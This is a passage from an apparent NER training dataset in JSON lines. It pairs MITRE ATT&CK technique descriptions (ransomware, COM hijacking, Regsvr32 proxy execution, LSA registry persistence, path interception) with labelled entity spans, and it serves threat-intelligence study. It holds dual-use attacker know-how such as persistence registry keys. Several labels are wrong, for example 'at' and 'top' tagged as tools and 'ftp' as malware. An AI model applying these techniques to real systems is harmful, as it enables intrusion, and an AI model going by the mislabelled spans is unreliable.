Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.", "spans": {"SYSTEM: SMB": [[201, 204], [395, 398], [776, 779], [988, 991], [1521, 1524], [2066, 2069], [2420, 2423]], "SYSTEM: Windows": [[235, 242], [354, 361], [734, 741], [2656, 2663]], "SYSTEM: HTTP": [[827, 831]], "FILEPATH: \\\\[remote": [[2181, 2190]], "SYSTEM: NTLM": [[2986, 2990]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1187"}}
{"text": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens.  An account can hold additional SIDs in the SID-History Active Directory attribute , allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values  may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, SMB/Windows Admin Shares, or Windows Remote Management.", "spans": {"SYSTEM: Windows": [[97, 104], [207, 214], [861, 868]], "SYSTEM: Active Directory": [[328, 344]], "SYSTEM: SMB": [[857, 860]], "TOOL: Windows Remote Management": [[886, 911]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1134.005"}}
{"text": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks.  They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.  Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.  To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance.  By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via Multi-hop Proxy or exfiltration of data via Traffic Duplication. Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with Internal Proxy to achieve the same goals.  In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1599"}}
{"text": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR. Adversaries may also encrypt virtual machines hosted on ESXi or other hypervisors. \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares. Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers or ESXi server login messages, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted. For example, in AWS environments, adversaries may leverage services such as AWS’s Server-Side Encryption with Customer Provided Keys (SSE-C) to encrypt data.", "spans": {"SYSTEM: Office": [[599, 605]], "SYSTEM: MBR": [[1039, 1042]], "SYSTEM: SMB": [[1357, 1360]], "SYSTEM: Windows": [[1361, 1368]], "SYSTEM: AWS": [[1738, 1741], [1798, 1801]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1486"}}
{"text": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct File and Directory Permissions Modification or Modify Registry in support of subverting these controls. Adversaries may also create or steal code signing certificates to acquire trust on target systems.", "spans": {"SYSTEM: Registry": [[817, 825]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1553"}}
{"text": "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials. The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code. This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.", "spans": {"SYSTEM: API": [[77, 80], [163, 166], [312, 315], [458, 461], [553, 556], [701, 704], [1243, 1246]], "SYSTEM: macOS": [[528, 533]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1548.004"}}
{"text": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or Exploit Public-Facing Application).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1592.003"}}
{"text": "Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1573"}}
{"text": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=&lt;target binary&gt;</code>. The binary will then be executed by the system when the authentication packages are loaded.", "spans": {"SYSTEM: Windows": [[85, 92]], "TOOL: at": [[178, 180]], "SYSTEM: Windows Registry": [[445, 461]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.002"}}
{"text": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. \n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.  This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments.  \n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking.", "spans": {"TOOL: Regsvr32": [[22, 30], [73, 81], [248, 256], [322, 330], [550, 558], [712, 720], [1126, 1134]], "SYSTEM: Windows": [[227, 234], [500, 507]], "ORGANIZATION: Microsoft": [[290, 299]], "SYSTEM: COM": [[651, 654], [943, 946], [1175, 1178]], "SYSTEM: Registry": [[927, 935]], "SYSTEM: Component Object Model": [[1220, 1242]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.010"}}
{"text": "Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information.  \n\nText storage sites are often used to host malicious code for C2 communication (e.g., Stage Capabilities), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.\n\n**Note:** This is distinct from Exfiltration to Code Repository, which highlight access to code repositories via APIs.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1567.003"}}
{"text": "Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations.\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or for initial access (ex: Supply Chain Compromise or External Remote Services).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1592.002"}}
{"text": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).", "spans": {"SYSTEM: API": [[315, 318]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1056"}}
{"text": "Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools (Remote Access Tools) onto their computer.\n\nAdversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.", "spans": {"SYSTEM: Access": [[954, 960]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1566.004"}}
{"text": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits. Adversaries may use information acquired via Vulnerabilities to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).", "spans": {"SYSTEM: Access": [[1267, 1273]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1587.004"}}
{"text": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1593.001"}}
{"text": "Adversaries may leverage Customer Relationship Management (CRM) software to mine valuable information. CRM software is used to assist organizations in tracking and managing customer interactions, as well as storing customer data.\n\nOnce adversaries gain access to a victim organization, they may mine CRM software for customer data. This may include personally identifiable information (PII) such as full names, emails, phone numbers, and addresses, as well as additional details such as purchase histories and IT support interactions. By collecting this data, an adversary may be able to send personalized Phishing emails, engage in SIM swapping, or otherwise target the organization’s customers in ways that enable financial gain or the compromise of additional organizations.\n\nCRM software may be hosted on-premises or in the cloud. Information stored in these solutions may vary based on the specific instance or environment. Examples of CRM software include Microsoft Dynamics 365, Salesforce, Zoho, Zendesk, and HubSpot.", "spans": {"ORGANIZATION: Microsoft": [[962, 971]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1213.004"}}
{"text": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.  References to various COM objects are stored in the Registry. \n\nAdversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. \n\nOne variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the \"script:\" moniker to execute remote scripts hosted on external servers. This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.", "spans": {"SYSTEM: Component Object Model": [[105, 127]], "SYSTEM: COM": [[129, 132], [143, 146], [277, 280], [343, 346], [454, 457], [527, 530], [1073, 1076], [1160, 1163], [1296, 1299], [1374, 1377], [1683, 1686]], "SYSTEM: Windows": [[166, 173]], "SYSTEM: Registry": [[307, 315], [563, 571], [1234, 1242]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.015"}}
{"text": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.  Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).\n\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).", "spans": {"SYSTEM: Telegram": [[1044, 1052]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1589.001"}}
{"text": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1195.002"}}
{"text": "Adversaries may rename legitimate / system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for legitimate utilities adversaries are capable of abusing, including both built-in binaries and tools such as PSExec, AutoHotKey, and IronPython. It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>). An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on these utilities executing from non-standard paths.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.003"}}
{"text": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "spans": {"ORGANIZATION: Google": [[973, 979]], "SYSTEM: SSL": [[1086, 1089]], "SYSTEM: TLS": [[1090, 1093]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1102.002"}}
{"text": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", "spans": {"SYSTEM: Office": [[1132, 1138]], "SYSTEM: Microsoft Office": [[1205, 1221], [1977, 1993]], "ORGANIZATION: Adobe": [[1622, 1627]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1203"}}
{"text": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to Brute Force, its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: Gather Victim Org Information, or Search Victim-Owned Websites).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories. This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: Exploit Public-Facing Application or Brute Force).  \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure. Once storage objects are discovered, adversaries may leverage Data from Cloud Storage to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1595.003"}}
{"text": "Adversaries may flood targeted email addresses with an overwhelming volume of messages. This may bury legitimate emails in a flood of spam and disrupt business operations.\n\nAn adversary may accomplish email bombing by leveraging an automated bot to register a targeted address for e-mail lists that do not validate new signups, such as online newsletters. The result can be a wave of thousands of e-mails that effectively overloads the victim’s inbox.\n\nBy sending hundreds or thousands of e-mails in quick succession, adversaries may successfully divert attention away from and bury legitimate messages including security alerts, daily business processes like help desk tickets and client correspondence, or ongoing scams. This behavior can also be used as a tool of harassment.\n\nThis behavior may be a precursor for Spearphishing Voice. For example, an adversary may email bomb a target and then follow up with a phone call to fraudulently offer assistance. This social engineering may lead to the use of Remote Access Software to steal credentials, deploy ransomware, conduct Financial Theft, or engage in other malicious activity.", "spans": {"SYSTEM: Access": [[1013, 1019]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1667"}}
{"text": "Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders’ awareness of malicious activity. Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.\n\nRather than or in addition to Indicator Blocking, an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., Disable or Modify Tools). An adversary can also present a “healthy” system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.\n\nFor example, adversaries may show a fake Windows Security GUI and tray icon with a “healthy” system status after Windows Defender and other system tools have been disabled.", "spans": {"SYSTEM: Windows": [[892, 899]], "SYSTEM: Windows Defender": [[964, 980]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.011"}}
{"text": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.\n\nOnce malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.", "spans": {"SYSTEM: Microsoft Outlook": [[22, 39]], "SYSTEM: Outlook": [[107, 114], [183, 190], [383, 390], [493, 500], [562, 569]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1137.004"}}
{"text": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.", "spans": {"SYSTEM: SSL": [[671, 674]], "SYSTEM: TLS": [[675, 678]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1573.002"}}
{"text": "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.", "spans": {"SYSTEM: Dropbox": [[291, 298]], "ORGANIZATION: Google": [[303, 309]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1567.002"}}
{"text": "Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., Ingress Tool Transfer) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.\n\nAdversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB/Windows Admin Shares to connected network shares or with authenticated connections via Remote Desktop Protocol.\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and ftp. In some cases, adversaries may be able to leverage Web Services such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.", "spans": {"SYSTEM: SMB": [[440, 443]], "SYSTEM: Windows": [[444, 451]], "TOOL: Remote Desktop Protocol": [[531, 554]], "TOOL: scp": [[657, 660]], "TOOL: curl": [[669, 673]], "MALWARE: ftp": [[685, 688]], "SYSTEM: Dropbox": [[762, 769]], "SYSTEM: OneDrive": [[773, 781]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1570"}}
{"text": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths  and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>).  (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.  \n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.", "spans": {"SYSTEM: Windows": [[250, 257], [695, 702]], "FILEPATH: C:\\unsafe": [[476, 485]], "FILEPATH: C:\\safe": [[532, 539]], "SYSTEM: Windows Registry": [[590, 606]], "FILEPATH: C:\\program": [[816, 826]], "TOOL: at": [[885, 887]], "FILEPATH: C:\\program.exe": [[894, 908]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.009"}}
{"text": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see Digital Certificates) or create self-signed certificates (see Digital Certificates). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).", "spans": {"SYSTEM: SSL": [[24, 27], [80, 83], [717, 720]], "SYSTEM: TLS": [[28, 31], [84, 87], [721, 724]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1608.003"}}
{"text": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.\n\nThis is technically a deprecated technology (superseded by Launch Daemon), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism. Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", "spans": {"TOOL: at": [[57, 59]], "SYSTEM: macOS": [[570, 575], [940, 945]], "TOOL: top": [[724, 727]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1037.005"}}
{"text": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Query Registry and calls to Native API functions. \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code> or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>, <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code> and <code>GetUserDefaultLangID</code>.\n\nOn a macOS or Linux system, adversaries may query <code>locale</code> to retrieve the value of the <code>$LANG</code> environment variable.", "spans": {"SYSTEM: Registry": [[717, 725]], "SYSTEM: Native API": [[739, 749]], "SYSTEM: Windows": [[781, 788], [987, 994]], "SYSTEM: API": [[995, 998]], "SYSTEM: macOS": [[1169, 1174]], "SYSTEM: Linux": [[1178, 1183]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1614.001"}}
